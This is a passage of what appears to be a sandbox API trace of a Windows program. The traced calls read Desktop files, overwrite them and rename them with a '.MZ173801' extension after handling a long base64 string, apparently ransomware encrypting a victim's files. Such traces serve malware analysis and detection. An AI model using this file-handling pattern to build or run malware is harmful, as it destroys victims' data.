kFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7ISLBkE8c6q5djWHD3R9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7islbke8c6q5djwhd3r9.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.713] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.713] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.713] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x696d [0144.713] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.713] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x696d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x696d, lpOverlapped=0x0) returned 1 [0144.714] CloseHandle (hObject=0x224) returned 1 [0144.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7ISLBkE8c6q5djWHD3R9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7islbke8c6q5djwhd3r9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.716] WriteFile (in: hFile=0x224, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x696d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f99c*=0x696d, lpOverlapped=0x0) returned 1 [0144.718] CloseHandle (hObject=0x224) returned 1 [0144.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7ISLBkE8c6q5djWHD3R9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7islbke8c6q5djwhd3r9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7ISLBkE8c6q5djWHD3R9.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7islbke8c6q5djwhd3r9.mp3.mz173801")) returned 1 [0144.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7wt6 9Lo64x-uFsuG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7wt6 9lo64x-ufsug.png"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d248b70, ftCreationTime.dwHighDateTime=0x1d5e6b2, ftLastAccessTime.dwLowDateTime=0x5773f230, ftLastAccessTime.dwHighDateTime=0x1d5e25d, ftLastWriteTime.dwLowDateTime=0x5773f230, ftLastWriteTime.dwHighDateTime=0x1d5e25d, nFileSizeHigh=0x0, nFileSizeLow=0x37b2)) returned 1 [0144.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7wt6 9Lo64x-uFsuG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7wt6 9lo64x-ufsug.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.726] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.726] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.726] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x37b2 [0144.726] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.726] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x37b2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x37b2, lpOverlapped=0x0) returned 1 [0144.727] CloseHandle (hObject=0x224) returned 1 [0144.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7wt6 9Lo64x-uFsuG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7wt6 9lo64x-ufsug.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.729] WriteFile (in: hFile=0x224, lpBuffer=0x714510*, nNumberOfBytesToWrite=0x37b2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesWritten=0x18f99c*=0x37b2, lpOverlapped=0x0) returned 1 [0144.731] CloseHandle (hObject=0x224) returned 1 [0144.731] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7wt6 9Lo64x-uFsuG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7wt6 9lo64x-ufsug.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7wt6 9Lo64x-uFsuG.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7wt6 9lo64x-ufsug.png.mz173801")) returned 1 [0144.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Abo9IBT_wYq3F_uBufO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abo9ibt_wyq3f_ubufo.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7d93f0, ftCreationTime.dwHighDateTime=0x1d5e086, ftLastAccessTime.dwLowDateTime=0x8612a40, ftLastAccessTime.dwHighDateTime=0x1d5e14b, ftLastWriteTime.dwLowDateTime=0x8612a40, ftLastWriteTime.dwHighDateTime=0x1d5e14b, nFileSizeHigh=0x0, nFileSizeLow=0xc5aa)) returned 1 [0144.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 